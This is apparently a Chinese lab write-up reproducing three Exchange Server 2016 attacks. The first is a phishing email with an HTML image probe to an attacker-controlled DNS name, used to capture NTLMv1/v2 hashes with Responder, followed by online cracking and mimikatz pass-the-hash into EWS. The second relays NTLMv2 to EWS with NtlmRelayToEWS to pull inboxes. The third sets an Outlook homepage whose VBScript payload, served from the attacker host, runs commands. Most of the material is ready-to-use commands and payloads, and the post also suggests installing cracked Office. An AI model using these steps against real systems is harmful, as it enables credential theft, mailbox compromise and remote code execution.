环境搭建

1.域环境搭建

我们首先需要搭建一个简单的域环境,具体的搭建步骤可以参考:

配置Windows Server 2012域控环境,并抓取hash - 简书 (jianshu.com)

搭建的结果:

1
2
3
4
5
Winserver2012R2      DC域控   ip:192.168.111.175
Winserver2012R2 exchange服务器 ip:192.168.111.185
windows 10 x64 win10成员机(受控机) ip:192.168.111.143

攻击者kali机 ip:192.168.111.182

注:复现过程ip可能有变化

域搭好后,我们需要添加一个或多个域用户,具体可以参考:

https://blog.csdn.net/weixin_43760829/article/details/89437363

2.exchange服务搭建

我们这里搭建的版本为:ExchangeServer2016-x64-cu12

完整的搭建过程可以参考:

Exchange 2016部署实施案例篇-03.Exchange部署篇(上) - 《exchange知识》 - 书栈网 · BookStack

QQ截图20201209085337

在exchange服务器上搭建好相关服务后,我们可以登录后发送一封邮件查看接收是否正常。

3.outlook2016安装

网上找一个office2016全家桶破解版,一路下一步即可成功安装。

4.win10受控机配置

配置java环境并安装burp,方便之后邮件抓包,具体步骤参考:

【工具安装】BurpSuite 安装教程 - Bay0net - 博客园 (cnblogs.com)

5.ubuntu配置

​ 我们需要安装配置的工具,Impacket是一个网络协议工具包,Responder用来窃取NTLMv哈希,NtlmRelayToEWS是一种用于在Exchange Web服务(EWS)上执行ntlm中继攻击的工具。

配置和具体使用方法可以参考帮助文档。

攻击手法一复现

攻击链

1
邮件探针(http型/unc型)->获取ntlmhashV1 -> 通过指定网站解密 -> 使用解密出的ntlmhash登录ews接口获取邮件

1.配置(LM 身份验证级别)LmCompatibilityLevel

​ 我们知道Net-ntlm hash v1 本身存在缺陷,只要获取到Net-NTLM v1 都能破解为NTLM hash 与密码强度无关。所以在多数情况下Net-ntlm hash v1 已经废弃 ,如果想要启用,我们需要配置LM 身份验证级别 或者在注册表中修改LmCompatibilityLevel。

具体步骤:

  • 单击“开始”,指向“程序”,然后单击“管理工具”。
  • 在“域控制器安全”策略中,展开“安全设置”,然后展开“本地策略”。
  • 单击“安全选项”。
  • 双击“网络安全:LAN Manager 身份验证级别”,然后单击列表中的适当值。

我们这里直接选择最低的级别。分别在域控和我们的成员机进行同样的设置,这样就可以使用NTLMv1进行身份验证。

2.添加钓鱼域名dns记录

使用工具:https://github.com/Kevin-Robertson/Powermad 在已经被我们控制的win10域内机器上添加dns记录。

在powershell下进入powermad目录,执行命令:

1
2
3
Set-ExecutionPolicy RemoteSigned
Import-Module .\Powermad.psm1
Invoke-DNSUpdate -DNSType A -DNSName hackshang -DNSData 192.168.111.182(攻击者公网或内网ip)

3.发送钓鱼邮件

​ 当我们已经获得一个域用户的账号密码时,我们从受控的机器上访问outlook网页版并登录邮箱。然后发送一封包含http或者unc路径的钓鱼邮件,在ExchangeServer2016下邮件中的unc路径会被过滤置空,所以我们这里插入http标签的方式进行测试:

使用burp抓取发送的包,在

标签之间插入:

1
>\">hahahaha<img src=\"http://hackshang/\"><br>

4.开启responder监听

监听前修改配置:

  • 修改Responder.conf⾥⾯的Challenge = 1122334455667788(旧版本默认值,无需修改)
  • 修改packets.py⾥⾯的NTLM_Challenge类,修改NegoFlags为\x05\x02\x81\xa2

开启监听

1
sudo python Responder.py -wrfv -I eth0

5.受害者打开邮件

当收件人从自己服务器上登录exchange。查看收到的邮箱:

攻击者同时收到收件人的net ntml v1 hash

格式是 :

1
用户名::主机名:hash1:hash2:1122334455667788

一般来说hash1和hash2应该是⼀样的。

提取hash1,构造NTHASH:hash1

1
NTHASH:2617F7B9DF8914D80AB037AE45621CE9C31E394AAD70F657

6.网站在线解密hash

使用hashcat离线爆破,或者使用网站在线解密:https://crack.sh/get-cracking/

放在https://crack.sh/get-cracking/⾥⾯,填写我们的邮箱,几十秒后就可以收到解密的hash:

7.pth利用ews接口收取邮件

帮助文档中有详细介绍,我们将mimikatz和Pass-to-hash-EWS都传到win10上。然后依次执行:

1
mimikatz.exe privilege::debug "sekurlsa::pth /user:shanghui /domain:exchange.shang.com /ntlm:642877b6e68fcd328d894ab2fe1f7609 /run:cmd" exit

使用mimikatz 进行ntlm pth 然后即可使用其他用户凭据对ews接口进行操作。

使用默认凭证收取收件箱邮件.

1
pth_to_ews.exe https://exchange.shang.com/ews/exchange.asmx -MType Inbox

还有一些其他的操作,可以查看帮助文档。

攻击手法二复现

攻击链

1
邮件探针(http型/unc型)->获取netntlmhashV2 -> relay到ews接口 -> 获取邮件

1.配置(LM 身份验证级别)LmCompatibilityLevel

我们需要重新配置身份认证级别,我这边调到了四级。

2.获取net-ntlmv2 hash

之前的步骤与手法一均相同,当受害者打开钓鱼邮件时,我们的responder即可收到net-ntlmv2 hash。

3.relay到ews接口获取邮件

工具:https://github.com/Arno0x/NtlmRelayToEWS

注:这里踩了个大坑,用的kali做的测试这里一直打不通,后来换了ubuntu一次成功,所以测试的时候不想踩坑还是用ubuntu。

ubuntu执行命令:

1
sudo python ntlmRelayToEWS.py -t https://192.168.111.170/EWS/exchange.asmx -r getFolder -f inbox -v

受害人查看邮件,会自动获取受害人收件箱邮件并保存在本地。

攻击手法三复现

攻击链

1
3. 邮件探针(http型/unc型)->获取netntlmhashV2 -> relay到ews接口 -> 设置homepage -> 获取主机权限

homepage利用

使用默认凭证验证ews接口设置outlook 客户端主页,url为远程pyloadurl,html里面写payload。

homepage的文章 https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/

反弹shell执行命令处cmd.Run(“cmd.exe”)修改即可。

1
<html><head><meta http-equiv="Content-Language" content="en-us"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Outlook</title><script id=clientEventHandlersVBS language=vbscript> Sub window_onload()     Set Application = ViewCtl1.OutlookApplication     Set cmd = Application.CreateObject("Wscript.Shell")     cmd.Run("cmd.exe") End Sub</script></head><body> <h1> Hello Alex </h1> <object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object></body></html>

用python起一个http服务,把html放在服务器下:

1
python -m SimpleHTTPServer 8000

使用NtlmRelayToEWS执行命令:

1
sudo python ntlmRelayToEWS.py -t https://192.168.111.170/EWS/exchange.asmx -r setHomePage -f inbox -u http://192.168.111.182:8000/shang.html -v

当收件人登录outlook查看钓鱼邮件时触发攻击:

返回查看homepage已被设置成我们的远程恶意html,我们刷新一下邮箱,成功执行命令。

后记

记录一些踩的坑点:

  • 在安装exchange之前要先将各种依赖环境先装好。注意不同的服务器支持的exchange版本。
  • 搭建好完整的测试环境及时快照。
  • exchange各种服务启动需要一段时间,发现无法正常发送邮件,可以排查下pop3端口是否开启,或者直接重启或者恢复快照。
  • burp抓包添加http标签时,抓包时间过长可能导致邮件发送失败。
  • 最好在ubuntu下使用ntlmRelayToEWS工具,kali下会遇到不知名报错。
  • 使用ntlmRelayToEWS工具时,遇到证书报错,参考洪谷师傅的解决方法:http://hackergu.com/ssl-certificate_verify_failed-certificate-verify-failed-_ssl-c590-%e6%8a%a5%e9%94%99%e8%a7%a3%e5%86%b3/